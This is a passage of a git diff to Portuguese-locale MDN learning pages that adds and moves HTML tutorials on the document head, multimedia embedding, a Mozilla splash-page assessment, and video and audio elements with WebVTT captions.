    <link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
    +
  4. +
+ +

Here is an example of a favicon in a bookmarks panel:

+ +

The Firefox bookmarks panel, showing a bookmarked example with a favicon displayed next to it.

+ +

There are lots of other icon types to consider these days as well. For example, you'll find this in the source code of the MDN homepage:

+ +
<!-- third-generation iPad with high-resolution Retina display: -->
+<link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://developer.cdn.mozilla.net/static/img/favicon144.a6e4162070f4.png">
+<!-- iPhone with high-resolution Retina display: -->
+<link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://developer.cdn.mozilla.net/static/img/favicon114.0e9fabd44f85.png">
+<!-- first- and second-generation iPad: -->
+<link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://developer.cdn.mozilla.net/static/img/favicon72.8ff9d87c82a0.png">
+<!-- non-Retina iPhone, iPod Touch, and Android 2.1+ devices: -->
+<link rel="apple-touch-icon-precomposed" href="https://developer.cdn.mozilla.net/static/img/favicon57.a2490b9a2d76.png">
+<!-- basic favicon -->
+<link rel="shortcut icon" href="https://developer.cdn.mozilla.net/static/img/favicon32.e02854fdcf73.png">
+ +

The comments explain what each icon is used for — these elements cover things like providing a nice high resolution icon to use when the website is saved to an iPad's home screen.

+ +

Don't worry too much about implementing all these types of icon right now — this is a fairly advanced feature, and you won't be expected to have knowledge of this to progress through the course. The main purpose here is to let you know what such things are, in case you come across them while browsing other websites' source code.

+ +

Applying CSS and JavaScript to HTML

+ +

Just about all websites you'll use in the modern day will employ {{glossary("CSS")}} to make them look cool, and {{glossary("JavaScript")}} to power interactive functionality, such as video players, maps, games, and more. These are most commonly applied to a web page using the {{htmlelement("link")}} element and the {{htmlelement("script")}} element, respectively.

+ + + +

Active learning: applying CSS and JavaScript to a page

+ +
    +
  1. To start this active learning, grab a copy of our meta-example.html, script.js and style.css files, and save them on your local computer in the same directory. Make sure they are saved with the correct names and file extensions.
  2. +
  3. Open the HTML file in both your browser, and your text editor.
  4. +
  5. By following the information given above, add {{htmlelement("link")}} and {{htmlelement("script")}} elements to your HTML, so that your CSS and JavaScript are applied to your HTML.
  6. +
+ +

If done correctly, when you save your HTML and refresh your browser you'll see that things have changed:

+ +

Example showing a page with CSS and JavaScript applied to it. The CSS has made the page go green, whereas the JavaScript has added a dynamic list to the page.

+ + + +
+

Note: If you get stuck in this exercise and can't get the CSS/JS to apply, try checking out our css-and-js.html example page.

+
+ +

Setting the primary language of the document

+ +

Finally, it's worth mentioning that you can (and really should) set the language of your page. This can be done by adding the lang attribute to the opening HTML tag (as seen in the meta-example.html and shown below.)

+ +
<html lang="en-US">
+ +

This is useful in many ways. Your HTML document will be indexed more effectively by search engines if its language is set (allowing it to appear correctly in language-specific results, for example), and it is useful to people with visual impairments using screen readers (for example, the word "six" exists in both French and English, but is pronounced differently.)

+ +

You can also set subsections of your document to be recognised as different languages. For example, we could set our Japanese language section to be recognised as Japanese, like so:

+ +
<p>Japanese example: <span lang="jp">ご飯が熱い。</span>.</p>
+ +

These codes are defined by the ISO 639-1 standard. You can find more about them in Language tags in HTML and XML.

+ +

Resumo

+ +

That marks the end of our quickfire tour of the HTML head — there's a lot more you can do in here, but an exhaustive tour would be boring and confusing at this stage, and we just wanted to give you an idea of the most common things you'll find in there for now! In the next article we'll be looking at HTML text fundamentals.

+ +

{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML")}}

+ +
+ + + + + +
diff --git a/files/pt-pt/learn/html/multimedia_and_embedding/index.html b/files/pt-pt/learn/html/multimedia_and_embedding/index.html new file mode 100644 index 0000000000..724e0ca3f5 --- /dev/null +++ b/files/pt-pt/learn/html/multimedia_and_embedding/index.html @@ -0,0 +1,69 @@ +--- +title: Multimédia e integração +slug: Learn/HTML/Multimedia_e_integracao +tags: + - Aprender + - Audio + - Avaliação + - CodingScripting + - Flash + - Guía + - HTML + - Imagens + - Landing + - Principiante + - Responsivo + - SVG + - Video + - iframes + - mapas de imagem +translation_of: Learn/HTML/Multimedia_and_embedding +--- +

{{LearnSidebar}}

+ +

Nós já vimos muito texto até agora neste curso, mas a Web seria realmente chata se se utilizasse apenas texto. Vamos começar a ver como dar vida à Web, com conteúdo mais interessante! Este módulo explora como utilizar HTML para incluir multimédia nas suas páginas da Web, incluindo os modos diferentes em que as imagens podem ser incluídas, e como incorporar vídeo, áudio e até páginas da Web completas.

+ +

Pré-requisitos

+ +

Antes de iniciar este módulo, deverá ter um conhecimento razoável dos conceitos básicos de HTML, como anteriormente abordado em Introdução ao HTML. Se ainda não leu este módulo (ou qualquer coisa similar), leia-o primeiro, e depois volte aqui!

+ +
+

Nota: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as JSBin or Thimble.

+
+ +

Guias

+ +

This module contains the following articles, which will take you through all the fundamentals of embedding multimedia on webpages.

+ +
+
Imagens em HTML
+
There are other types of multimedia to consider, but it is logical to start with the humble {{htmlelement("img")}} element, used to embed a simple image in a webpage. In this article we'll look at how to use it in more depth, including basics, annotating it with captions using {{htmlelement("figure")}}, and how it relates to CSS background images.
+
Conteúdo de vídeo e de áudio
+
Next, we'll look at how to use the HTML5 {{htmlelement("video")}} and {{htmlelement("audio")}} elements, to embed video and audio on our pages; including basics, providing access to different file formats to different browsers, adding captions and subtitles, and how to add fallbacks for older browsers.
+
De <object> para <iframe> — outras tecnologias de integração
+
At this point we'd like to take somewhat of a sideways step, looking at a couple of elements that allow you to embed a wide variety of content types into your webpages: the {{htmlelement("iframe")}}, {{htmlelement("embed")}} and {{htmlelement("object")}} elements. <iframe>s are for embedding other web pages, and the other two allow you to embed PDFs, SVG, and even Flash — a technology on its way out, but which you may still see semi-regularly.
+
Adicionar gráficos de vetor à Web
+
Vector graphics can be very useful in certain situations. Unlike regular formats like PNG/JPG, they don't distort/pixelate when zoomed in — they can remain smooth when scaled. This article introduces you to what vector graphics are, and how to include the popular {{glossary("SVG")}} format in web pages.
+
Imagens responsivas
+
With so many different device types now able to browse the Web — from mobile phones to desktop computers — an essential concept to master in the modern web world is responsive design. This refers to the creation of webpages that can automatically change their features to suit different screen sizes, resolutions, etc. This will be looked at in much more detail in a CSS module later on, but for now we'll look at the tools HTML has available to create responsive images, including the {{htmlelement("picture")}} element.
+
+ +

Avaliações

+ +

The following assessments will test your understanding of the HTML basics covered in the guides above:

+ +
+
Página de boas-vindas da Mozilla
+
In this assessment, we'll test your knowledge of some of the techniques discussed in this module's articles, getting you to add some images and video to a funky splash page all about Mozilla!
+
+ +

Consulte também

+ +
+
Adicionar um mapa clicável no topo de uma imagem
+
Image maps provide a mechanism to make different parts of an image link to different places (think of a map, linking through to further information about each different country you click on.) This technique can sometimes be useful.
+
Literacia da Web - básicos 2
+
+

An excellent Mozilla foundation course that explores and tests some of the skills talked about in the Multimedia and embedding module. Dive deeper into the basics of composing webpages, designing for accessibility, sharing resources, using online media, and working open (meaning that your content is freely available, and shareable by others).

+
+
diff --git a/files/pt-pt/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html b/files/pt-pt/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html new file mode 100644 index 0000000000..aad765e97a --- /dev/null +++ b/files/pt-pt/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html @@ -0,0 +1,194 @@ +--- +title: 'Avaliação: Página inicial da Mozilla' +slug: Learn/HTML/Multimedia_and_embedding/Pagina_de_boas_vindas_da_Mozilla +tags: + - Avaliação + - HTML + - Imagens + - Incorporação + - Multimedia + - Principiante + - Responsivo + - Video + - iframe + - imagem + - tamanhos +translation_of: Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page +--- +
{{LearnSidebar}}
+ +
{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}
+ +

Nesta parte, testaremos seu conhecimento de algumas técnicas discutidas nos artigos deste módulo, pedindo que você adicione imagens e vídeos a uma grande página inteiramente dedicada ao Mozilla!

+ + + + + + + + + + + + +
Pré-requisitos:Antes de abordar este estudo, você já deve ter trabalhado nos parágrafos anteriores do módulo Multimídia e Integração.
Objetivo:Testar seus conhecimentos sobre a integração de imagens e vídeos em páginas da Web, bem como técnicas de imagens adaptativas (imagens "responsivas").
+ +

Ponto de partida

+ +

Para iniciar este estudo, você precisa buscar todas as imagens e HTML disponíveis no diretório mdn-splash-page-start no github. Coloque o conteúdo do arquivo index.htmlem um arquivo chamado index.htmlem seu disco rígido local, em um novo diretório. Em seguida, copie pattern.png na mesma pasta (clique com o botão direito sobre a imagem para obter a opção de salvá-la).

+ +

Vá para o diretório original para  procurar por imagens diferentes e fazer a mesma coisa. Talvez seja necessário salvá-las em uma nova pasta por enquanto, caso você precise manipular algumas delas usando um editor gráfico antes de usá-las.

+ +
+

Note: O arquivo HTML de exemplo contém bastante CSS para estilizar a página. Você não precisa alterar o CSS, apenas o HTML no elemento <body> - contanto que você insira as tags corretas, o estilo corresponderá à essas alterações.

+
+ +

Sumário do projeto

+ +

Nesta parte, apresentamos uma home page quase acabada da Mozilla, que visa dizer algo interessante sobre o que a Mozilla representa e fornecer alguns links para outros recursos. Infelizmente, nenhuma imagem ou vídeo foi adicionado ainda - este é o seu trabalho! Você precisa adicionar algumas mídias para tornar a página mais bonita e fazer mais sentido. As subseções a seguir detalham o que você precisa fazer:

+ +

Preparando as imagens

+ +

Usando seu editor de imagem favorito, crie versões com 400px de largura por 120px de largura de:

+ + + +

Dê a eles nomes semelhantes como:  firefoxlogo400.png e firefoxlogo120.png.

+ +

Juntamente com o mdn.svg, essas imagens serão seus ícones para vincular a outros recursos, dentro da área further-info. Você também vinculará o logotipo do Firefox no cabeçalho do site. Salve cópias de todos estes arquivos dentro do mesmo diretório de index.html.

+ +

Em seguida, crie uma versão com 1200px de largura, no modo paisagem, de red-panda.jpg, e outra, com 600px de largura, no modo retrato, que mostre o panda em close-up. Mais uma vez, nomeie-os de forma semelhante para identificá-los facilmente. Salve todas essas cópias na mesma pasta que o index.html.

+ +
+

Nota: Você deve otimizar suas imagens em JPG e PNG para torná-las o menor possível e, ao mesmo tempo, de boa qualidade. O tinypng.com é uma boa ajuda para fazer isso facilmente.

+
+ +

Adicionando um logotipo ao cabeçalho

+ +

Dentro do elemento <header>, adicione um elemento <img> que incluirá uma versão pequena do logotipo do Firefox no cabeçalho.

+ +

Adicionando um vídeo ao conteúdo do artigo principal

+ +

No item <article>  (logo abaixo da tag de abertura), incorpore o vídeo do YouTube encontrado aqui: https://www.youtube.com/watch?v=ojcNcvb1olg, usando as ferramentas apropriadas do YouTube para gerar o código. O vídeo terá que ter 400px de largura.

+ + + +

No elemento <div>, na classe further-info você encontrará quatro outros elementos <a> - cada um deles vinculado a uma página interessante relacionada ao Mozilla. Para concluir esta seção, você irá inserir um elemento <img> contendo os atributos srcaltsrcset e sizes de forma apropriada.

+ +

 

+ +

Queremos que cada imagem (exceto quando a mesma for responsiva) use uma imagem de 120px quando a largura da janela de visualização do navegador for menor ou igual a 480px e, em outros casos, escolha uma versão de 400px.

+ +

Verifique se o link correto corresponde à imagem correta!

+ +

 

+ +
+

Nota: Para testar adequadamente os exemplos srcset/sizes, você deve fazer o upload do seu site em um servidor (use as páginas Github, é uma solução simples e livre), e então você poderá testar, se tudo correr corretamente, usando as ferramentas de desenvolvimento, como explicado em Imagens Responsivas: ferramentas úteis para desenvolvedores.

+
+ +

Um panda vermelho criativo

+ +

No elemento <div> da classe red-panda, queremos inserir um elemento <picture> que exiba o o modo retrato do panda se o quadro tiver 600px de largura, ou menos, e o modo paisagem do panda em outros casos.

+ +

Exemplo

+ +

A captura de tela a seguir mostra como a página inicial deve ficar depois de marcada corretamente, com uma tela ampla e outra estreita.

+ +

A wide shot of our example splash page

+ +

A narrow shot of our example splash page

+ +

Avaliação

+ +

Se você está seguindo este estudo como parte de um programa de curso organizado, você deve poder mostrar seu trabalho ao seu professor/mentor para correção. Se você aprender sozinho, você pode obter informações e correções perguntando no tópico sobre este exercício, ou no canal de IRC #mdn no IRC da MozillaTente fazer o exercício primeiro - você não ganha nada enganando!

+ +

{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}

+ +
+ + + + + +
diff --git a/files/pt-pt/learn/html/multimedia_and_embedding/pagina_de_boas_vindas_da_mozilla/index.html b/files/pt-pt/learn/html/multimedia_and_embedding/pagina_de_boas_vindas_da_mozilla/index.html deleted file mode 100644 index aad765e97a..0000000000 --- a/files/pt-pt/learn/html/multimedia_and_embedding/pagina_de_boas_vindas_da_mozilla/index.html +++ /dev/null @@ -1,194 +0,0 @@ ---- -title: 'Avaliação: Página inicial da Mozilla' -slug: Learn/HTML/Multimedia_and_embedding/Pagina_de_boas_vindas_da_Mozilla -tags: - - Avaliação - - HTML - - Imagens - - Incorporação - - Multimedia - - Principiante - - Responsivo - - Video - - iframe - - imagem - - tamanhos -translation_of: Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page ---- -
{{LearnSidebar}}
- -
{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}
- -

Nesta parte, testaremos seu conhecimento de algumas técnicas discutidas nos artigos deste módulo, pedindo que você adicione imagens e vídeos a uma grande página inteiramente dedicada ao Mozilla!

- - - - - - - - - - - - -
Pré-requisitos:Antes de abordar este estudo, você já deve ter trabalhado nos parágrafos anteriores do módulo Multimídia e Integração.
Objetivo:Testar seus conhecimentos sobre a integração de imagens e vídeos em páginas da Web, bem como técnicas de imagens adaptativas (imagens "responsivas").
- -

Ponto de partida

- -

Para iniciar este estudo, você precisa buscar todas as imagens e HTML disponíveis no diretório mdn-splash-page-start no github. Coloque o conteúdo do arquivo index.htmlem um arquivo chamado index.htmlem seu disco rígido local, em um novo diretório. Em seguida, copie pattern.png na mesma pasta (clique com o botão direito sobre a imagem para obter a opção de salvá-la).

- -

Vá para o diretório original para  procurar por imagens diferentes e fazer a mesma coisa. Talvez seja necessário salvá-las em uma nova pasta por enquanto, caso você precise manipular algumas delas usando um editor gráfico antes de usá-las.

- -
-

Note: O arquivo HTML de exemplo contém bastante CSS para estilizar a página. Você não precisa alterar o CSS, apenas o HTML no elemento <body> - contanto que você insira as tags corretas, o estilo corresponderá à essas alterações.

-
- -

Sumário do projeto

- -

Nesta parte, apresentamos uma home page quase acabada da Mozilla, que visa dizer algo interessante sobre o que a Mozilla representa e fornecer alguns links para outros recursos. Infelizmente, nenhuma imagem ou vídeo foi adicionado ainda - este é o seu trabalho! Você precisa adicionar algumas mídias para tornar a página mais bonita e fazer mais sentido. As subseções a seguir detalham o que você precisa fazer:

- -

Preparando as imagens

- -

Usando seu editor de imagem favorito, crie versões com 400px de largura por 120px de largura de:

- - - -

Dê a eles nomes semelhantes como:  firefoxlogo400.png e firefoxlogo120.png.

- -

Juntamente com o mdn.svg, essas imagens serão seus ícones para vincular a outros recursos, dentro da área further-info. Você também vinculará o logotipo do Firefox no cabeçalho do site. Salve cópias de todos estes arquivos dentro do mesmo diretório de index.html.

- -

Em seguida, crie uma versão com 1200px de largura, no modo paisagem, de red-panda.jpg, e outra, com 600px de largura, no modo retrato, que mostre o panda em close-up. Mais uma vez, nomeie-os de forma semelhante para identificá-los facilmente. Salve todas essas cópias na mesma pasta que o index.html.

- -
-

Nota: Você deve otimizar suas imagens em JPG e PNG para torná-las o menor possível e, ao mesmo tempo, de boa qualidade. O tinypng.com é uma boa ajuda para fazer isso facilmente.

-
- -

Adicionando um logotipo ao cabeçalho

- -

Dentro do elemento <header>, adicione um elemento <img> que incluirá uma versão pequena do logotipo do Firefox no cabeçalho.

- -

Adicionando um vídeo ao conteúdo do artigo principal

- -

No item <article>  (logo abaixo da tag de abertura), incorpore o vídeo do YouTube encontrado aqui: https://www.youtube.com/watch?v=ojcNcvb1olg, usando as ferramentas apropriadas do YouTube para gerar o código. O vídeo terá que ter 400px de largura.

- - - -

No elemento <div>, na classe further-info você encontrará quatro outros elementos <a> - cada um deles vinculado a uma página interessante relacionada ao Mozilla. Para concluir esta seção, você irá inserir um elemento <img> contendo os atributos srcaltsrcset e sizes de forma apropriada.

- -

 

- -

Queremos que cada imagem (exceto quando a mesma for responsiva) use uma imagem de 120px quando a largura da janela de visualização do navegador for menor ou igual a 480px e, em outros casos, escolha uma versão de 400px.

- -

Verifique se o link correto corresponde à imagem correta!

- -

 

- -
-

Nota: Para testar adequadamente os exemplos srcset/sizes, você deve fazer o upload do seu site em um servidor (use as páginas Github, é uma solução simples e livre), e então você poderá testar, se tudo correr corretamente, usando as ferramentas de desenvolvimento, como explicado em Imagens Responsivas: ferramentas úteis para desenvolvedores.

-
- -

Um panda vermelho criativo

- -

No elemento <div> da classe red-panda, queremos inserir um elemento <picture> que exiba o o modo retrato do panda se o quadro tiver 600px de largura, ou menos, e o modo paisagem do panda em outros casos.

- -

Exemplo

- -

A captura de tela a seguir mostra como a página inicial deve ficar depois de marcada corretamente, com uma tela ampla e outra estreita.

- -

A wide shot of our example splash page

- -

A narrow shot of our example splash page

- -

Avaliação

- -

Se você está seguindo este estudo como parte de um programa de curso organizado, você deve poder mostrar seu trabalho ao seu professor/mentor para correção. Se você aprender sozinho, você pode obter informações e correções perguntando no tópico sobre este exercício, ou no canal de IRC #mdn no IRC da MozillaTente fazer o exercício primeiro - você não ganha nada enganando!

- -

{{PreviousMenu("Learn/HTML/Multimedia_and_embedding/Responsive_images", "Learn/HTML/Multimedia_and_embedding")}}

- -
- - - - - -
diff --git a/files/pt-pt/learn/html/multimedia_and_embedding/video_and_audio_content/index.html b/files/pt-pt/learn/html/multimedia_and_embedding/video_and_audio_content/index.html new file mode 100644 index 0000000000..2ab6414459 --- /dev/null +++ b/files/pt-pt/learn/html/multimedia_and_embedding/video_and_audio_content/index.html @@ -0,0 +1,369 @@ +--- +title: Conteúdo de áudio e vídeo +slug: Learn/HTML/Multimedia_e_integracao/Conteudo_de_audio_e_vídeo +tags: + - Artigo + - Audio + - Guía + - HTML + - Principiante + - Video + - faixa + - legendas +translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}
+ +

Now that we are comfortable with adding simple images to a webpage, the next step is to start adding video and audio players to your HTML documents! In this article we'll look at doing just that with the {{htmlelement("video")}} and {{htmlelement("audio")}} elements; we'll then finish off by looking at how to add captions/subtitles to your videos.

+ + + + + + + + + + + + +
Pré-requisitos:Basic computer literacy, basic software installed, basic knowledge of working with files, familiarity with HTML fundamentals (as covered in Getting started with HTML) and Images in HTML.
Objetivo:To learn how to embed video and audio content into a webpage, and add captions/subtitles to video.
+ +

Áudio e vídeo na Web

+ +

Web developers have wanted to use video and audio on the Web for a long time, ever since the early 2000s, when we started to have bandwidth fast enough to support any kind of video (video files are much larger than text or even images.) In the early days, native web technologies such as HTML didn't have the ability to embed video and audio on the Web, so proprietary (or plugin-based) technologies like Flash (and later, Silverlight) became popular for handling such content. This kind of technology worked ok, but it had a number of problems, including not working well with HTML/CSS features, security issues, and accessibility issues.

+ +

A native solution would solve much of this if done right. Fortunately, a few years later the {{glossary("HTML5")}} specification had such features added, with the {{htmlelement("video")}} and {{htmlelement("audio")}} elements, and some shiny new {{Glossary("JavaScript")}} {{Glossary("API","APIs")}} for controlling them. We'll not be looking at JavaScript here — just the basic foundations that can be achieved with HTML.

+ +

We won't be teaching you how to produce audio and video files — that requires a completely different skillset. We have provided you with sample audio and video files and example code for your own experimentation, in case you are unable to get hold of your own.

+ +
+

Nota: Before you begin here, you should also know that there are a quite a few {{glossary("OVP","OVPs")}} (online video providers) like YouTube, Dailymotion, and Vimeo, and online audio providers like Soundcloud. Such companies offer a convenient, easy way to host and consume videos, so you don't have to worry about the enormous bandwidth consumption. OVPs even usually offer ready-made code for embedding video/audio in your webpages. If you go that route, you can avoid some of the difficulties we discuss in this article. We'll be discussing this kind of service a bit more in the next article.

+
+ +

O elemento <video>

+ +

The {{htmlelement("video")}} element allows you to embed a video very easily. A really simple example looks like this:

+ +
<video src="rabbit320.webm" controls>
+  <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.webm">link to the video</a> instead.</p>
+</video>
+ +

The features of note are:

+ +
+
{{htmlattrxref("src","video")}}
+
In the same way as for the {{htmlelement("img")}} element, the src (source) attribute contains a path to the video you want to embed. It works in exactly the same way.
+
{{htmlattrxref("controls","video")}}
+
Users must be able to control video and audio playback (it's especially critical for people who have epilepsy.) You must either use the controls attribute to include the browser's own control interface, or build your interface using the appropriate JavaScript API. At minimum, the interface must include a way to start and stop the media, and to adjust the volume.
+
The paragraph inside the <video> tags
+
This is called fallback content — this will be displayed if the browser accessing the page doesn't support the <video> element, allowing us to provide a fallback for older browsers. This can be anything you like; in this case we've provided a direct link to the video file, so the user can at least access it some way regardless of what browser they are using.
+
+ +

The embedded video will look something like this:

+ +

A simple video player showing a video of a small white rabbit

+ +

You can try the example live here (see also the source code.)

+ +

Suporte para múltiplos formatos

+ +

There's a problem with the above example, which you may have noticed already if you've tried to access the live link above with a browser like Safari or Internet Explorer. The video won't play! This is because different browsers support different video (and audio) formats.

+ +

Let's go through the terminology quickly. Formats like MP3, MP4 and WebM are called container formats. They contain different parts that make up the whole song or video — such as an audio track, a video track (in the case of video), and metadata to describe the media being presented.

+ +

The audio and video tracks are also in different formats, for example:

+ + + +

An audio player will tend to play an audio track directly, e.g. an MP3 or Ogg file. These don't need containers.

+ +
+

Nota: It is not quite that simple, as you can see from our audio-video codec compatibility table. In addition, many mobile platform browsers can play an unsupported format by handing it off to the underlying system's media player to play. But this will do for now.

+
+ +

The above formats exist to compress video and audio into manageable files (raw video and audio is very large). Browsers contain different {{Glossary("Codec","Codecs")}}, like Vorbis or H.264, which are used to convert the compressed sound and video into binary digits and back. As indicated above, browsers unfortunately don't all support the same codecs, so you will have to provide several files for each media production. If you're missing the right codec to decode the media, it just won't play.

+ +
+

Nota: You might be wondering why this situation exists. MP3 (for audio) and MP4/H.264 (for video) are both widely supported, and good quality. However, they are also patent encumbered — American patents cover MP3 until at least 2017, and H.264 until 2027 at the earliest, meaning that browsers that don't hold the patent have to pay huge sums of money to support these formats. In addition, many people avoid restricted software on principle, in favour of open formats. This is why we have to provide multiple formats for different browsers.

+
+ +

So how do we do this? Take a look at the following updated example (try it live here, also):

+ +
<video controls>
+  <source src="rabbit320.mp4" type="video/mp4">
+  <source src="rabbit320.webm" type="video/webm">
+  <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p>
+</video>
+ +

Here we've taken the src attribute out of the actual <video> tag, and instead included separate {{htmlelement("source")}} elements that point to their own sources. In this case the browser will go through the <source> elements and play the first one that it has the codec to support. Including WebM and MP4 sources should be enough to play your video on most platforms and browsers these days.

+ +

Each <source> element also has a type attribute. This is optional, but it is advised that you include them — they contain the {{glossary("MIME type","MIME types")}} of the video files, and browsers can read these and immediately skip videos they don't understand. If they are not included, browsers will load and try to play each file until they find one that works, taking even more time and resources.

+ +
+

Nota: Our article on supported media formats contains some common {{glossary("MIME type","MIME types")}}.

+
+ +

Outras funcionalidades <video>

+ +

There are a number of other features you can include on an HTML5 video. Take a look at our third example, below:

+ +
<video controls width="400" height="400"
+       autoplay loop muted
+       poster="poster.png">
+  <source src="rabbit320.mp4" type="video/mp4">
+  <source src="rabbit320.webm" type="video/webm">
+  <p>Your browser doesn't support HTML5 video. Here is a <a href="rabbit320.mp4">link to the video</a> instead.</p>
+</video>
+
+ +

This will give us a output looking something like this:

+ +

A video player showing a poster image before it plays. The poster image says HTML5 video example, OMG hell yeah!The new features are:

+ +
+
{{htmlattrxref("width","video")}} and {{htmlattrxref("height","video")}}
+
You can control the video size either with these attributes or with {{Glossary("CSS")}}. In both cases, videos maintain their native width-height ratio — known as the aspect ratio. If the aspect ratio is not maintained by the sizes you set, the video will grow to fill the space horizontally, and the unfilled space will just be given a solid background color by default.
+
{{htmlattrxref("autoplay","video")}}
+
This attribute makes the audio or video start playing right away while the rest of the page is loading. You are advised not to use autoplaying video (or audio) on your sites, because users can find it really annoying.
+
{{htmlattrxref("loop","video")}}
+
This attribute makes the video (or audio) start playing again whenever it finishes. This can also be annoying, so only use if really necessary.
+
{{htmlattrxref("muted","video")}}
+
This attribute causes the media to play with the sound turned off by default.
+
{{htmlattrxref("poster","video")}}
+
This attribute takes as its value the URL of an image, which will be displayed before the video is played. It is intended to be used for a splash or advertising screen.
+
{{htmlattrxref("preload","video")}}
+
+

this attribute is used in the element for buffering large files. It can take one of 3 values:

+ +
    +
  • "none" does not buffer the file
  • +
  • "auto" buffers the media file
  • +
  • "metadata" buffers only the metadata for the file
  • +
+
+
+ +

You can find the above example available to play live on Github (also see the source code.) Note that we haven't included the autoplay attribute in the live version — if the video starts to play as soon as the page loads, you don't get to see the poster!

+ +

O elemento <audio>

+ +

The {{htmlelement("audio")}} element works in exactly the same way as the {{htmlelement("video")}} element, with a few small differences as outlined below. A typical example might look like so:

+ +
<audio controls>
+  <source src="viper.mp3" type="audio/mp3">
+  <source src="viper.ogg" type="audio/ogg">
+  <p>Your browser doesn't support HTML5 audio. Here is a <a href="viper.mp3">link to the audio</a> instead.</p>
+</audio>
+ +

This produces something like the following in a browser:

+ +

A simple audio player with a play button, timer, volume control, and progress bar

+ +
+

Nota: You can run the audio demo live on Github (also see the audio player source code.)

+
+ +

This takes up less space than a video player, as there is no visual component — you just need to display controls to play the audio. Other differences from HTML5 video are as follows:

+ + + +

Other than this, <audio> supports all the same features as <video> — review the above sections for more information about them.

+ +

Faixas de texto da exibição de vídeo

+ +

Now we'll discuss a slightly more advanced concept that is really useful to know about. Many people can't or don't want to hear the audio/video content they find on the Web, at least at certain times. For example:

+ + + +

Wouldn't it be nice to be able to provide these people with a transcript of the words being spoken in the audio/video? Well, thanks to HTML5 video you can, with the WebVTT format and the {{htmlelement("track")}} element.

+ +
+

Nota: "Transcribe" and "transcript" mean to write down spoken words as text.

+
+ +

WebVTT is a format for writing text files containing multiple strings of text along with metadata such as what time in the video you want each text string to be displayed, and even limited styling/positioning information. These text strings are called cues, and you can display different types for different purposes, the most common being:

+ +
+
subtitles
+
Translations of foreign material, for people who don't understand the words spoken in the audio.
+
captions
+
Synchronized transcriptions of dialog or descriptions of significant sounds, to let people who can't hear the audio understand what is going on.
+
timed descriptions
+
Text for conversion into audio, to serve people with visual impairments.
+
+ +

A typical WebVTT file will look something like this:

+ +
WEBVTT
+
+1
+00:00:22.230 --> 00:00:24.606
+This is the first subtitle.
+
+2
+00:00:30.739 --> 00:00:34.074
+This is the second.
+
+  ...
+
+ +

To get this displayed along with the HTML media playback, you need to:

+ +
    +
  1. Save it as a .vtt file in a sensible place.
  2. +
  3. Link to the .vtt file with the {{htmlelement("track")}} element. <track> should be placed within <audio> or <video>, but after all <source> elements. Use the {{htmlattrxref("kind","track")}} attribute to specify whether the cues are subtitles, captions, or descriptions. Further, use {{htmlattrxref("srclang","track")}} to tell the browser what language you have written the subtitles in.
  4. +
+ +

Here's an example:

+ +
<video controls>
+    <source src="example.mp4" type="video/mp4">
+    <source src="example.webm" type="video/webm">
+    <track kind="subtitles" src="subtitles_en.vtt" srclang="en">
+</video>
+ +

This will result in a video that has subtitles displayed, kind of like this:

+ +

Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."

+ +

For more details, please read Adding captions and subtitles to HTML5 video. You can find the example that goes along with this article on Github, written by Ian Devlin (see the source code too.) This example uses some JavaScript to allow users to choose between different subtitles. Note that to turn the subtitles on, you need to press the "CC" button and select an option — English, Deutsch, or Español. 

+ +
+

Nota: Text tracks also help you with {{glossary("SEO")}}, since search engines especially thrive on text. Text tracks even allow search engines to link directly to a spot partway through the video.

+
+ +

Aprendizagem ativa: incorporar o seu próprio áudio e vídeo

+ +

For this active learning, we'd (ideally) like you to go out into the world and record some of your own video and audio — most phones these days allow you to record audio and video very easily, and provided you can transfer it on to your computer, you can use it. You may have to do some conversion to end up with a WebM and MP4 in the case of video, and an MP3 and Ogg in the case of audio, but there are enough programs out there to allow you to do this without too much trouble, such as Miro Video Converter and Audacity. We'd like you to have a go!

+ +

If you are unable to source any video or audio, then you can feel free to use our sample audio and video files to carry out this exercise. You can also use our sample code for reference.

+ +

We would like you to:

+ +
    +
  1. Save your audio and video files in a new directory on your computer.
  2. +
  3. Create a new HTML file in the same directory, called index.html.
  4. +
  5. Add <audio> and <video> elements to the page; make them display the default browser controls.
  6. +
  7. Give both of them <source> elements so that browsers will find the audio format they support best and load it. These should include type attributes.
  8. +
  9. Give the <video> element a poster that will be displayed before the video starts to be played. Have fun creating your own poster graphic.
  10. +
+ +

For an added bonus, you could try researching text tracks, and work out how to add some captions to your video.

+ +

Resumo

+ +

And that's a wrap; we hope you had fun playing with video and audio in web pages! In the next article, we'll look at other ways of embedding content on the Web, using technologies like {{htmlelement("iframe")}} and {{htmlelement("object")}}.

+ +

Consulte também

+ + + +

{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}

+ +
+
+ + + +
+ + + + + +
